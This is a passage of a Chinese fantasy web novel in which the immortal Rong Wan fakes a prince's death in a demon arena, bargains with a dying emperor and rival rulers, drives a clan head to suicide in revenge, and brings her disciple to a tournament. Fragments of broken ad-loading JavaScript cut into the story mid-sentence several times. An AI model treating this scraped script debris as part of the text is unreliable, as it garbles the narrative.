一进门,夙昼望见容晚正在三眼妖精那里载册,素手握着灵笔在契约书上写下一个名字“白衣”,接过妖精递来的一枚灵珠。 “师父是要上死斗场吗?”夙昼问道。 “嗯。”容晚应道。 目光落在死斗场后悬挂的巨大灵幕上,夙昼所化假名为“薛辞”,初出茅庐,不过几年,便能在死斗场上排入前百。 “为什么化名……”容晚问。 夙昼正欲回答,被容晚以眼神制止,她握着他的手腕,白光闪现间,种下一个传音灵阵。 这灵阵,是当年衡游与容晚上学时,为避师长耳目,作课上闲聊之用,所谓“非我所愿,旁人不可听闻”。 “为什么化名薛辞?”容晚示意夙昼继续说。 “我带金色面具,身形容貌又同薛辞几分相仿,世人会以为我是他。两种身份对于薛辞这种皇家子弟来说,并不稀奇,不是吗?可薛辞未曾拜入仙门,却能在死斗场上大杀四方,他越是否认,当朝帝王越会疑心。” 夙昼轻笑了笑,“帝王之心,最是要人性命,不是吗?就像当年夙州血案。” “帝王起疑买凶,刺杀亲子。恰好又被容皓截获消息,他加足价码,在杀域高手中买凶,却买到了你。”容晚轻声道:“螳螂以为捕的是蝉,却没成想是你这只装成蝉的黄雀。我看不透你了。” “师父……”夙昼抬手遮住眼睛,挡住了那颗滚落的眼泪,道:“我是人啊,人心难懂。可是不碍事的,师父想知道什么,我知无不言,言无不尽。” “你所作所为,我能猜中七分已是足够,只是……你做得太不干净。容皓疑你,褚尽欢从未信你……” 容晚目光落向场上争斗。 不知不觉间,死斗场上的一轮即将结束,将胜的是一只寅虎所化的魔妖,他身形丑陋,恶在心间。 是多年前跑掉的那只死囚啊,躲在这里了。 容晚道:“去杀了他。” 夙昼早慧,容晚意在他以薛辞身份现世,迷惑世人。但上因律法严苛,他不愿容晚淌入这趟浑水,道:“师父,死囚当押回上因受刑……” “追捕途中,误杀而已。”容晚声音极冷,“他死于今日,死在你手下,死得其所。” “我……” “你要复仇,便要做三界共主。如今未杀的仇敌,不再是当年一把剑就能杀尽的凡人。你的对立面是上因首座、落乌君首和人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间帝王,毫无胜算。” 容晚似乎是在安慰自己,她声音中是浓重的无奈,却又无比坚定,“如果天下注定要兴战事,我们不躲不避,但求死伤亡魂能少一些。这——是我所能做的。至于上因仙律,随它去吧。” 见夙昼不动,容晚只能再说得明了一些,“我要让薛辞假死的传闻成真,这是送给薛弃闲的见面礼。” 话落,夙昼不再追问,取出自己的灵珠递给斗台前撑着把伞的掌事妖精。 妖精接过灵珠,喂进身旁的金色□□口中,珠子顺着透明的灵路滚向斗台正上空,亮起璀璨的光芒。 妖精细而尖的声音响起—— “下一场:寅虎魔妖对薛——薛辞?” 死斗场下一片哗然,议论纷纷。 “靖安太子薛辞遇刺身亡,难道他不是薛辞?” “谁知道?还是说假死……想借落乌界助力掌权?” “他之前说他是人间界薛辞……人间界可是要避太子名讳的,等等,人间帝王偏爱幼子,说不准真是假死迷惑君心!” “呦——那六殿下可太可怜了,好不容易监国,得,又打错算盘。” 容晚忽然插话道:“什么叫又?” “仙友不知人间中事吧,六殿下薛铎乃帝王薛弃闲庶子,非长非嫡。当年小殿下入上因修习,他靠着讨好小殿下,一起去了。六殿下以为小殿下被陛下送去学艺,来日继承帝位,便缠着陛下宁愿玉牒除名也要修仙。” “靠着诓骗小殿下,小殿下也哭嚎着要玉牒除名。哪知道小殿下真是不喜皇家束缚,去上因讨清闲去了。这下,六殿下可悔死了。如今太子遇刺,帝王病重,他怕是要得偿所愿喽!” “你放屁!太子不是假死吗?” “不会,我要是太子,才不会在死斗场用真名。” “就是像你这样想的人太多,他才敢用真名。我听说,他怕是真的假死……” 随着夙昼出现于死斗场上,众人议论渐息,只是谈论些太子假死投奔落乌的消息。 更有甚者,议论太子为挑起三界争斗,假死谋反,却——禁不住练兵、买兵器手头紧张,来死斗场赌自己赢。 容晚不禁笑出声,眸色一暗,将自己的灵珠递给掌事妖精,灵珠滚向斗台,停于小蟾蜍前,其意在下一场“薛辞对白衣”。 在众人议论白衣是谁时,容晚转身去赌.场上,找六手妖精押了一百万灵石赌自己赢。 六手妖精乐得牙齿笑开花,他笃信薛辞必赢。 容晚这么做,倒不是为了赢。只有闹得足够大,假死的薛辞在今夜死于白衣之手,才会三界皆知。 “白衣”才能在薛弃闲那里得到几分信任。 正如夙昼走向三界共主的第一步是拿下人间界,而非在落乌界与虎谋皮。 妖精尖锐的声音又响起:“薛辞胜!下一场:薛辞对白衣!” 台上的夙昼一愣,颈侧、脸上尚且沾着虎妖刺目的血。 他望向走近的容晚,只透过银色面具看见一双冰冷至极的眼睛,毫不掩饰肃杀之气。 其中杀气,让他忘记了那是一双极其美丽的眼睛。 师父是要真的杀了他?还是……杀掉假死的“薛辞”? 29. 望山观我 容晚同夙昼对招间,灵力波动间,死斗场的灵烛猛烈晃动,数只低阶的妖精心神迷晃,难以站立。 一道白光划过,容晚扣住夙昼的脖颈,低声道:“闭息。” 夙昼眼中尽是诧异,却不曾怀疑容晚,依言照做。 “咔哒”一声,全场哗然。 “薛辞”死于“白衣”之手。 三眼妖精张着大嘴愣神了许久,颤颤巍巍地上台,摸过薛辞灵脉,道:“白、白衣胜!” 它满脑子全是,亏本了!一百万灵石翻二十四番…… 随即眼皮一翻,晕死过去。 死斗场上赢者为尊,至于所谓的“薛辞”尸体,和那只虎妖,容晚一并带走。 临走时,六手妖精拦住她,道:“白衣,为免生事,也好叫这些长舌的闭嘴,拿出一成打赏,死斗场所有人自然守口如瓶。” 容晚淡淡道:“哦。” 随即身形一散,全场俱是目瞪口呆。 不及一刻钟,成千上万道传音、文书自死斗场发往三界。 一夜之间,无人不知白衣。 - “君上,我们不拦吗?”乌卫询问身侧面色晦暗不明的褚尽欢。 他隐匿身形容貌,随容晚来此,却没成想撞见这一幕。 那一夜,褚尽欢来此看夙昼死斗,却撞见容晚和衡游。不是他们未曾隐匿好,而是衡游说话的腔调他太过熟悉。 当时靖安太子未死,他要夙昼刺杀薛辞,自然要在那夜拦下容晚。 “拦什么拦。”褚尽欢的语气有几分慵懒,他拢好身上的大氅,冷声道:“太子薛辞假死一事,本君要三界无人不知。” 褚尽欢沉思许久,似是要透过玄铁护腕,注视着那道存在几百年的不晴剑痕。 “放出消息,白衣乃上因界上仙。”褚尽欢本意在添火加油,而非置容晚于死地,又道:“不得说出是容晚。” 上因界男仙女仙各占一半,同容晚身形相似者不在少数,至于实力,姿势无人能敌。 但以白衣的实力来论,上因界数位上仙可达。 上因,褚尽欢记得是许多年前。他得知容晚受百道天罚,他一时怒而冲天,直入上因宫。 可惜——今时不同往日。 “递一道拜帖给容皓。”褚尽欢沉声道,“事关容晚,我要立即见他。” “是。”乌卫应道,见褚尽欢伸手,恭敬地将一颗留影珠递上。 褚尽欢犹豫再三,拿过那颗珠子拜会容皓。 珠子被他一路攥在手里,轻飘飘一颗,褚尽欢却觉得千般重、万般重,重到他不能呼吸。 一入上因宫,容皓眉目冷淡,道:“戮君因何入我上因?” 往日里,褚尽欢必定出言不逊,同他驳斥,但今日……他忍下不快,五指微张,那一枚留影珠落入容皓书案上。 “我以此珠为挟,”褚尽欢忽视掉眼前容晚的影子,道:“要上因北域十三州。” “戮君好大的口气。”容皓嗤笑道。 可褚尽欢似乎势在必得,容皓一探留影珠,大怒:“褚尽欢!你居然——” “首座给?亦或是不给?” 褚尽欢站着忽然有些犯困,他懒洋洋地打了个哈欠,催促道:“本君乏了,不如便三界皆知罢。” “你……”容皓捏着那颗留影珠,知此珠必然不止一颗,褚尽欢手握把柄不止这一件。 他应承下来,不曾尽随人意,“月末,本座借调北境兵力前往中域,仅此而已。” “不够。”褚尽欢不满他的条件,层层加码,“撤边防大阵。” “不可能!”容皓怒道。 上因边防大阵一体同脉,不可能只撤北境,若是全撤,落乌大军长驱直入。 “那,本君只好将白衣真身告知三界,第一上仙容晚挑起三界战事。”褚尽欢一句一句刺中容皓的软肋,“依律当诛,剔仙骨,灭仙身,不入轮回……” 他每说一句,便觉心痛一分。 “褚尽欢。”容皓本以为他有多大的筹码,至此神色、声音缓和不少,“你不会这么做,本座只撤兵力不撤阵。” “为什么不会?”褚尽欢似是在证明自己,“我同容晚决裂已久,还会顾她性命吗?” 这话,他自己都不信。 容皓但笑不语。 许久,褚尽欢淡淡一句:“成交。” 他离去之后,容皓身形不稳,紧紧握住了椅上的龙头,他——险胜。 以晚晚为筹码的赌注,他险胜。 “绯泉。”容皓唤道,他大笔一挥,亲自拟招,一连两道。 第一道借调北境兵力。 第二道则是容晚亲守北域十三州。 绯泉一一盖过玺印,惊道:“首座,您如此行事,上仙会为难。” 沉默良久,久到绯泉以为容皓不会回答,容皓回道:“我坐这个位子,只得如此。” 我想保她,只得如此。 容皓思及容晚,忽道:“你妹妹自容晚走后入军,如今至哪一仙职?” “至战神副将。”绯泉熟知容皓心性,随即跪地,近乎嚎哭般哀求道:“首座,北境若失守,守将畏罪,要么殉城,要么战死,求首座绕过碧落。” “你说笑了。”容皓自高台而下,扶起绯泉,道:“我只是想让她陪陪晚晚。你知道,我同晚晚不如你与妹妹亲昵。” 绯泉心如死灰,然只得跪谢。他目送着容皓一步步走出宫门,眼泪大颗大颗落下。 碧落得知这一消息时,喜过于惊。她一直想去陪着容晚的。 哪知绯泉大怒。各中缘由他不能仔细相告,只道:“长兄为父,我为你定下一门亲事,他与你同是战神副将。” 他与他的家世门楣能保你在上因平安无忧。 “我不嫁!”碧落惊道:“哥哥!这里是上因,不是人间界,那些伦理纲常统统不作数!” 绯泉不予理会,碧落稳住心神后,趁着绯泉去上因宫侍书,同容晚传音。 而后,碧落花了十万余灵石,以最快的传送阵印直达人间界。 - 同夙昼回人间界后,容晚送他入室,临走时,嘱咐道:“我不在时,照看好薛沐,。薛铎心性不正,他可能……小心刺杀。” 夙昼一并应下。 容晚独自去了一趟禁狱,递交虎妖时,听见仙官闲聊道:“白衣?这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个白衣和十年前破禁狱诡道的是同一人吗?” 见容晚笑而不语,仙官问她:“上仙如何看?” “是吧,”容晚笑道:“也许是吧。” 出上因界时,容晚想起还未曾拜会衡廷肃,转道去了书灵阁,可惜衡廷肃前往上因宫议事,她便不再逗留。 至于容皓,她不想见。 “上仙!真是巧极了。”绯泉冲她赶来,遥遥一拜,比过往的每一次都要诚挚,“上仙,首座急诏。” 容晚接过一看,问道:“为何突然要我去守北域?可是上因出了什么事?” 绯泉点头,却避而不谈,又是俯身一拜,请求道:“我知晓碧落前去寻您,还望您往后关照于她。碧落不甚聪慧,灵力术法不过般般,偶尔糊涂,还请您多包涵她。日后……若是日后有合适的便请您帮她寻一门好亲事,若是她愿意就罢了。若是不愿,一人也能自在,如若她想跟着您,请您万忘不要拒绝。” “是容皓吩咐你做什么一去不归的事吗?”容晚心思细腻,见绯泉情真意切,不免生疑。 “并未。”绯泉又是俯身一拜,道:“上仙日日忙碌,我又知上仙志不在上因,人间界那些日子真是令人怀念。” “是。”容晚一笑,俯身扶起他,一字一句允诺道:“我知你怜爱妹妹之心,自当尽心力护她一世无忧。你可放心。” 容晚转身欲走,经过绯泉的一瞬间,他提点容晚一句话:“此路甚远,上仙日后独行,当珍重。” 那一个“独”字,绯泉咬字极重,他眼中泛起泪光。 所谓深意,容晚自然明了。她回身向绯泉伸出一指,道:“我与你一指成契,允诺护碧落一世无忧。无论发生何事。” 绯泉心中震撼,以指成契,唯十次尔,若违契约,天罚诛灵。容晚此举,他无以为报。 同容晚成契后,绯泉忽道一句:“若是您做这上因首座,今时今日,可会不同?” “这话,往后不要再说。”容晚同他交情不深,仅有的关系便是碧落兄长。 契约已成,她身形散去。绯泉失去气力跪倒在地,挣扎着起身,向着容晚离去的方向长拜不起。 - 几番细看手中急诏,容晚想,如若容皓当面给她,她一定会扔在他脸上。 可惜,上因皆知,她要亲守北域。 既是急诏,同落乌的战事不在近日,便在月下、月末。眼下当务之急,是解决掉人间界的麻烦,速回北域。 这一战,容皓和褚尽欢必然暗中勾结。容晚不用细想,便能猜到褚尽欢这王八蛋肯定百般威胁,为落乌谋利。 谋的是什么利?不是撤军,就是撤阵。 一入人间界皇城,容晚以白衣的身份去见帝王薛弃闲,自然不能光明正大。 她幻化分身,一半去寻衡游、夙昼,另一半夜探帝王寝宫。 久闻不如一见。薛弃闲凡人身躯,仙丹续命也再难活命。 可惜并不是病,而是毒。 不是帝王一病不起,而是薛铎狼子野心,囚禁亲父。 年迈病重的帝王回望容晚,淡淡一句:“白衣,朕知你想要这人间界江山。那你——用什么来换?” 30. 望山观我 须发未白的帝王坐于茶案前,他倚着椅背,注视着手中茶盏里袅袅升起的雾气。 鹰隼虽老,雄心未老,薛弃闲的爪牙不似从前锋利,只能用这具身躯为人间界换一个薛氏盛世。 “白衣,你用什么来换?” “那——陛下想要什么?”容晚想过数种应对之策,唯独薛弃闲开门见山,她不曾料到。 “朕——想要你。”薛弃闲轻咳两声,唇边溢出鲜血,道:“朕时日无多,薛铎篡权……咳咳……” “杀了薛铎?”容晚指尖轻叩着腰间的玉佩,一下又一下,回道:“并非难事。” “呵呵……这天下,‘薛铎’何止一人?”薛弃闲示意容晚坐于茶案另一侧,颤抖着手为容晚斟一盏茶,“白衣替朕斩杀逆子,朕当敬白衣。” “陛下要我扶薛沐上位吗?”容晚意不在此。薛沐心性单纯,做个逍遥弟子,往后随便领个仙职便是最好。 人间界的江山,他扛不住。 “非也。”薛弃闲道:“沐儿是何心性,朕最是清楚。薛辞已死,薛铎不堪大任,皇长孙又非他所出。先王子嗣众多,朕只有三子,无人能当大任。” “白衣,你能保这江山姓薛吗?能保我儿薛沐此生平安吗?” 容晚沉吟半响,道:“可。” “国玺、诏书、兵符朕早已备好,可朕因何信白衣?”薛弃闲拿着茶盏的手微晃,而容晚迟迟不接,他搁下茶盏。 容晚揭开银色面具,露出真容。 薛弃闲见之大笑,这笑越来越响,紧接着是急促的咳嗽声。他如鹰隼般锐利的双眼盯着容晚,赞叹道:“上仙志在三界。” “不在三界,但在人间。”容晚记得她的家,那里不曾有上因落乌之分,只有一个熙熙攘攘的人间,可容万物。 她轻言道:“上因、落乌同人间有何分别呢?” 薛弃闲面色发白,毒药侵身,他一日咳血数十次,大限将至。他拼着气力大笑:“哈哈——” “哈哈哈哈——” “上仙心在人间。”薛弃闲颤颤巍巍地起身,示意容晚不必扶他。 他一步步走得极缓、极缓,回身一跪,龙袍拖曳,十二龙镂金冠冕“哐当”一声砸落在地,回声久久。 “陛下——”容晚正欲起身,只听薛弃闲道:“国玺、诏书、兵符皆在茶案之下,朕……我以沐儿之父要上仙一诺。” 容晚以灵力相扶,薛弃闲百般推脱,终是安稳地坐于茶案前,他抚着茶案一口口吐血。 毒入肺腑,药石无医,怕是今夜…… 容晚指尖结印,浮动的光影间,薛弃闲脸色渐渐红润,痛楚不再。 他拭去唇边鲜血,道:“第一上仙重情重义,朕大限已至,但要一诺。” 似乎方才如慈父跪求的一幕只是假象。 薛弃闲鬓发微乱,他端坐如帝王,沉声道:“沐儿若死,你——必无可活。以指成契,朕心宽矣。” 那顶砸落在地的帝王冠冕在日光下璀璨夺目,珍珠宝石刺得容晚目光一躲。 “看来陛下虽在人间,暗探遍布三界。”容晚不曾迟疑,她递出指尖,轻声道:“我以一指,同汝成契。薛沐若死,我无时日。薛氏江山,竭力以护。” 丝丝缕缕的白光渐散。 薛弃闲心满意足,闭上双眸,再无声息。 深深望过一眼,容晚捧起那顶坠落的冠冕戴于帝王之上。她取出国玺、诏书、兵符,隐匿身形,一步步往殿外走。 这一瞬间,容晚同匆忙赶来的薛铎擦肩而过,只见薛铎手持诏书,跪地痛呼道:“父王驾崩。” 丧龙钟响,久久不息。 容晚欲带走薛沐时,他迟迟不愿,痛哭流涕地喊:“我要为父王守孝!” 容晚一耳光打过去。 薛沐难以置信地看向容晚,委屈道:“上仙打我!为什么?为什么我不能见父王一面?” “你要见?”容晚冷声道:“那今夜、怕是到不了今夜,我和你师父便要闯宫替你收尸!” “不可能……薛铎不敢杀我!”薛沐难以置信,他作势便要往外跑。 夙昼一掌劈下去,薛沐身形一软。 “师父不必同他废口舌,多说无益。”夙昼背起薛沐,问:“师父同我们回北域吗?” “我去上因,你带他走,隐秘些。我去上因讨一道诏书。” 一道能置薛铎于死地的诏书。 一入上因宫,容晚便见衡游那两个小童子在殿门着急忙慌地走来走去,像瞧见救星一般朝她飞奔而来。 “上仙上仙,我家上仙出大事了!” 两个童子七嘴八舌,容晚方明始终。 衡游娶妻一事,终是没能藏住。衡廷肃大怒,劝诫衡游无果,竟上书上因宫,要同衡游割断父子血脉,再无关系。 容晚同衡游那位妻子不甚相熟,吃过一回喜酒,见过几面。衡游婚后,她能一人抓的逃犯便很少打扰他。 似乎,容晚还未问过衡游的妻子是谁?是哪家哪族?名讳何许? “可知师长为何这样大的火气?”容晚听见上因宫内争吵声不绝,侧目望向两个小童子。 “他生气极了,呵斥我家上仙娶错了人,要他和离!” “我家上仙自然不肯……” 上因宫内传来剑光,两个小童子俱是一怔,愣愣地问:“上仙,落乌界的女子我家上仙娶不得吗?” “衡游家世好、声名好,自然娶得,只是……也要看是谁家的姑娘。” 小童子还想再问,容晚只留下一个背影。 衡游跪于衡廷肃身前,他不明所以,只是问道:“阿意与我情投意合,情藤之下,结缘成婚,有何不可!” 阿意?容晚似是有些耳熟。 “师长安好。”容晚俯身一拜,侧过脸不看容皓。 “安什么好?上仙早知孽子娶妻,密而不告,我不好!”衡廷肃幽怨道。他见容皓的视线落在容晚身上,“首座,书灵阁还有要事,望您批过文书,让我丢了这逆子!” 话落,衡廷肃拂袖而去。 “怎么弄成这样啊?”容晚搀着衡游起来,他这般情状,分明是挨过家法被提过来。 “你现在回北域吗?”衡游问:“回我就起来,不会我再坐一会儿,疼死我了。” 容 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晚依言松手。 “想必哥哥已知我是白衣。”容晚语出惊人。 “是,晚晚风光无限,我怎能不知?”容皓气她不避人耳目,然事已至此,责斥无用。 “你难得回来上因,不止来看我,对吗?”容皓见她迟迟不曾开口,又问:“你有求于我,我总是会答应的。” “你知道?”容晚惊道。 “人间界帝王薨逝,薛铎不顾人间礼制,即刻登基。你不是为了这件事吗?”容皓丝毫不避讳衡游,步步紧逼容晚,他问:“晚晚,你要弃我而去了吗?” “我——”容晚难以回答。 “小仙拜别首座。”衡游俯身行礼,转身便走。 衡游脸上笑意甚重,他在,容晚就会顾及容皓的面子,恭恭敬敬。他走,两个人打一架都是有可能的。 上因宫门开而再合。 明灭的光影间,容皓高高在上的冰冷和疏离消散,他一步一步自高而下,拉着容晚走上高位。 他问:“晚晚,你、要弃上因而去吗?” “我不会背弃上因。”容晚望着容皓,那双眸极冷极静,她允诺:“我会亲守北域十三州。” “好。”容皓唇角不自觉扬起笑意,掌心一抬,一道诏书出现。 “是什么?” “晚晚想要的诏书,不要了吗?” “用什么来换?”容晚不曾接过,目光在容皓脸上游移,为什么他会知道她是来求诏书的。 “同哥哥生分了?晚晚想要什么,哥哥都会给你的。”容皓道:“这是一道盖过书灵阁玺印、首座仙印、我的私印以及人间界国玺的诏书。于公于私,足以你牵制薛铎。” “也许我该谢谢哥哥,”容晚收下诏书,神色并不欢喜。容皓总是会先她一步,同薛弃闲暗中互通,除却这道诏书,定有不为人知的秘密。 “只是……”容晚莞尔一笑,道:“哥哥也想我这么做,不是吗?那我自然不会拒绝。容晚拜别——” “这就走?”容皓脱口而出,下一瞬,侧过脸,道:“走吧。” 他立于空阔的上因宫内,仙雾缭绕,他扶了下顶上冠冕,只觉重如泰山。可惜容晚从不想要。 那她想要什么? - 容晚步履匆匆,抓住衡游既回北域。 “今日十几?” “十九。”衡游问:“怎么了?等等……容皓让你亲守北域,是褚尽欢要攻北域?” “不止如此。” “不止?容皓难不成还能把护界打大阵大开不成?调离北域兵力?” 望见容晚沉重的表情,衡游默默张大嘴,又慢慢合上,憋出一句:“他疯了吧。北域冰封千里,一片浩瀚冰原,难守易攻。一旦失守,守将无论如何都活不了。” “是啊,我们都知道活不了。”容晚抓着手中拿到诏书,悲戚道:“我不敢赌,他是想让我活着多一点?还是利用我牵制褚尽欢多一点。” 北域骤停数日的暴雪霎时间席卷而来,寒风吹着鹅毛雪片打在容晚脸上、眼中。她的眼睛渐渐湿润起来。 “衡游,好难啊。” 我想回家…… 31. 雪域寒霜 “师父。”夙昼捧着一盏灵烛入内,搁于容晚书案。 “定阶在即,不去练剑,过来做什么?”容晚手中灵笔不停,手侧搁是无数摊开的灵册、灵图。 “师父,我有疑。”夙昼又道:“我需要隐匿实力吗?” “随意。”容晚忽然搁笔,抬眸问他:“上因钟氏家主嫡子,今年可来?” “钟尽一吗?”夙昼回道:“名册上有他。” “定阶会上点到为止,不要伤人。”容晚眸中是浓重的担忧,她沉声道:“夙昼,不得伤人,谁也不可以。” “行。”夙昼见她神色冷淡,语义却有些反常,回道:“师父,我绝不伤人。师父这些时日——” 几声轻叩声传来。 “上仙。”碧落隔着门扇轻唤道:“钟氏家主递了拜帖,想要见您,此时正在梅林等候。” 来得这样快? 容晚起身,一瞬间,素白衣裳尽换。上因界上仙形制,鎏金细纹,纱缎交加,层层叠叠。 发间不再是一只白玉簪子,镂金发冠,再缀几只素金步摇。 行走间,金光晃动。 “师父穿的这样……隆重?”夙昼疑惑道。 “钟氏家主重礼制。我若素衣相见,他该说我不尊。”容晚欲走,嘱咐夙昼道:“在此等我,书案上有落乌界疆域灵图,你细细批注。一个时辰批完。” “好。”夙昼遥遥一望,只见案上正正铺着一幅,笑道:“这才一卷,师父小瞧我。” “哪里?”容晚浅浅笑道:“一卷十幅,一幅数尺。桌上灵匣内,约莫有百来卷?” 夙昼一颤,难以置信般望向容晚,问:“一个时辰?” 容晚微微颔首,转身离去。 门扇一合,阵法灵印骤起,符文复杂繁重,夙昼若是自内而解开,怕是要用上一个时辰。 碧落正侯于门外,一见容晚,便撑起手中竹制素伞,正欲随她前去。 容晚接过伞,轻声道:“在这里看住他,他哪里都不能去。” 夜间风雪甚猛,大片雪花落在容晚肩上。她走得极缓,这些日子事务繁多,她借着寒风冷意,冲散那些令人烦躁的杂思。 一入梅林,便见一个老者遥遥冲着容晚作揖,“仙上。” “钟家主何必多礼?”容晚本意不是同他寒暄,冷声道:“家主因何见我。” “哈哈!”钟鸣不再掩藏来意,直白道:“人间界江山易主,上因落乌开战在即,我钟氏自然要择一明主。” “择主?”容晚道:“怕是家主记性不好,我记得上因钟氏向来……隶属上因,心嘛,却在落乌。” “视时事而择主。”钟鸣丝毫未有尴尬之意,他俯身又是一礼,道:“如今我愿携钟氏,唯上仙马首是瞻。” “好。”容晚应道。 “嗯?”钟鸣心下大惊,他来得快,筹码也未开,而容晚居然同意。 “那——主上。” “住口。”容晚纠正他的措辞,“我从未说过,我要做什么主上。” “是。”钟鸣藏下眸中深意,“我妄言了。” “成契,应我所求。”容晚道。 钟鸣有些犹豫,却还是伸出手腕,一丝金色光芒溢出。 容晚一抬指尖,白光同金光交缠,契约已成。 “钟鸣。”容晚眸中厌恶终是藏不住,她道:“第一件事。” “上仙但说无妨。”钟鸣所求轻易达成,他很少如此愉悦过。 雪夜让这世间一片纷白,红梅如血,随风颤动。 十多年前,夙州雪夜,三十里焦土尸横遍野,只见鲜红刺目。 一道比寒夜还冷的声音落下来。 “钟鸣,你自裁罢。” “什么?”钟鸣大怒,端正清明的皮囊之下是令人作呕的灵魂。他骤然出剑,厉声道:“容晚,我携上因钟氏向你投诚,你却要我自裁?” “是。”容晚淡然道:“我要杀你,不必出剑。而你,杀不了我。钟鸣,钟氏满门,你护得住吗?” “你废话!”钟鸣剑招之下,招招欲夺人性命。 容晚肃然而立,身形一闪一现,只是躲闪,并不出招。 她道:“你护不住。夙州血案,钟氏所为,血债血偿。那一天,大概不远了。” “不可能。夙州满门全灭,谁来找我报仇?谁?”钟鸣厉声吼道。 “我啊。”容晚道:“夙州无人能报?那我来!” “莫不是……”钟鸣为人狡诈奸贼,其中症结他猛然惊醒,恐慌道:“不可能、不可能……除非你身旁那个小东西,可是……不可能!我得密诏,他只是你捡回来的玩物!” 钟鸣有些疯魔道:“他不可能活下来的。他绝不可能。” “我累了。”容晚执伞的手有些微红,她淡淡道:“今夜的雪和那日一样大。钟鸣,你今日自裁,我保钟氏百年不倒。” 话落,容晚欲走,只听钟鸣一声呐喊:“我以我身,立此恶诅!容晚!谁杀我儿尽一,必被天诛!” 雪夜寒风中,剑光刺目。 鲜血喷溅在容晚身上、脸上,她置若无物,执伞俯身,拿去钟鸣的家主玉令、玺印私印,还有他的本命剑。 容晚望着钟鸣那双清亮的眼睛,轻叹一声,“命也。” 雪重风急,竹制素伞搁在钟鸣身前,不过遮一时风雪。 容晚步步远去,雪落满身。 “上仙!您受伤了?”碧落急忙来迎。 容晚白衣染血,如玉的侧脸上全是刺目的鲜红,偏偏又落了一身雪。她眉眼之间的脆弱感,叫碧落手足无措。 “无事。”容晚道:“封死梅林。” 小院前的灵文符印,对于容晚来说,空无一物。她步步入内,衣裳已是雪白,似乎方才的刺目鲜红全是假象。 夙昼正批注着落乌图注,听见门声一响,唇边扬起笑意,“师父!您——” 见到容晚神色,他搁笔起身,问:“师父,可是发生什么事了?” 容晚避而不谈,望见夙昼如今的模样,忽然想起,十多年前他在雪地里的挣扎,他执着剑,被大雪模糊的声音。 自始至终,夙昼从来不是什么乖孩子。 “夙昼,梅林那具尸体,你……连夜丢去落乌,藏经殿内,褚尽欢私阁,书案上有一颗草,喂给它。” 夙昼一句不曾多问,他将走时,容晚塞给他一枚玉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 牒,嘱咐道:“以我形貌入落乌,玉牒不要离身。明日定阶会初选,速回。” 夙昼远去的背影,落在容晚眼中。她只觉岁月如梭,世事无常。 一千五百多年,太久了。 久到她变得不像过去的自己了。 “回家。”容晚提笔,一笔一划写下两个字,下一瞬,灵火燃起,纸页化尘。 次日,上因钟氏家主失踪一事,密而未告天下。 反倒是容皓递过一道传书,呵斥容晚最好同她无关,容晚看过后,传书自燃化灰。 容晚注视着那抹残灰,感慨容皓的眼线暗探真是——无处无在,无事不知。 “师父。”夙昼轻叩两声门扇,“我今日同明氏一起参会,还是上因?” “上因容氏,我担心哥哥会来。”容晚推开门扇,手中执着一把剑,递给他,“今日三千灵阶在榜者都会来,不晴剑气你藏不住。” 夙昼接过剑,跟在容晚身侧,他又问:“师父,一人只能挑战三位在榜者,我选谁?” 容晚眉梢微微跳了一下,道:“过初选者方能竞逐三千灵阶,你这么自信啊?” “那真是太可惜了,师父。”夙昼忽然语气软下来,“那师父帮我透个题目吧?或者帮我抽一个很好出场签?” “当然可以啊。”容晚应道:“我看直接把你的名字划掉,等下一届好了。” “师父、师父……我错了。”夙昼不再玩笑,问道:“师父,我是先选第三千名,先保住一个阶位呢?还是直接选高位者?” “你想选谁?” “想选师父。” “我?可以。”容晚轻笑道。她抬手弹了下夙昼的额头,“我可不会手下留情。” “所以不敢选师父,”夙昼道:“第一位就选师父,输给师父,我就直接就落选了,哪里还敢选师父。哦,师父还没回答,我同上因参会,还是明氏?” 容晚思索过后,淡淡道:“跟着我。” 夙昼一喜,抱着剑跟在她身后,神采飞扬。他蓦然又提醒她,“师父说过的,定阶会上,收我为徒。” “知道了。”容晚见他还要再问,道:“你再多说两次,我便会忘记要收你为徒,还说吗?” “不说了,不说了……” “师父?” “师父……” - 雪域内人山人海,定价会乃三界盛事,各门各派各家适龄子弟皆可参会。 三场皆胜者,才算获得入场券,方可挑战三千灵阶上在榜者,胜则替之,输则下届再战。 至于夙昼所说“选哪一位,高还是低”是无数弟子关心的问题。 选低位者易胜,但胜后,便要接受其参会弟子的挑战,所谓易赢难守。 而高位者,皆是三界各门各派的高手,难胜难守。 容晚不曾开山立派,向来独来独往。他们一入内场,瞬间所有人的目光投掷过来。 夙昼垂着头跟在她身侧。 容晚感知到几道熟悉的灵气,一抬眸,望见高台楼阁之上,悠然站立的几位“老朋友”。 衡游、容皓、褚尽欢、薛铎、薛沐…… 三界盛事,盛事变惊吓。 32. 雪域寒霜 “师父……”夙昼抓着手里的玉签,落座于容晚身侧,“第一签。” “谁人第二?” “钟尽一。” 容晚不由心中一惊,她抬眸望向高处楼阁上的容皓,他微微点头,笑容极淡,令人难以捉摸。 “夙昼,全力以赴。”容晚幻出一本灵册,灵册自行而翻,停于一页,“钟尽一与你年岁相当,但少年成名,精剑道,天赋异禀,我说不准你们谁会赢。” 夙昼望向上因钟氏所在楼阁,正位坐着一个青衣男子,眉眼温润如暖玉。 钟尽一察觉到夙昼目光,微微颔首示意,无声道:“幸会。” 夙昼回之以礼,偏过头同容晚说话,“师父,他是亲生的吗?” 容晚对上因界密辛知晓不多,这些年时常在外,追捕当年禁狱逃犯,自然不知。 见夙昼盯着钟尽一的样貌愣神,容晚道:“他是钟鸣嫡子,应当无错。你是发现什么了吗?” “嗯。”夙昼打量着钟尽一的面貌,只觉熟悉,熟悉到好像曾经日日见过一般,“他像——” 夙昼手中玉签发亮发烫,下一瞬,他闪现至场下灵台之上。 灵钟三响,夙昼与钟尽一齐齐躬身,下一瞬,同时出招。 夙昼修魔道,钟尽一则是正统的仙门路数,两人剑风截然不同。 一人是张狂凌厉,另一人则是如雪逢春,润物无声。 两人比剑的结果,容晚心中有数。 钟尽一毕竟自小时,仙丹灵丹日日不断,上因多位名事亲授。 夙昼渐落下风不足为奇。 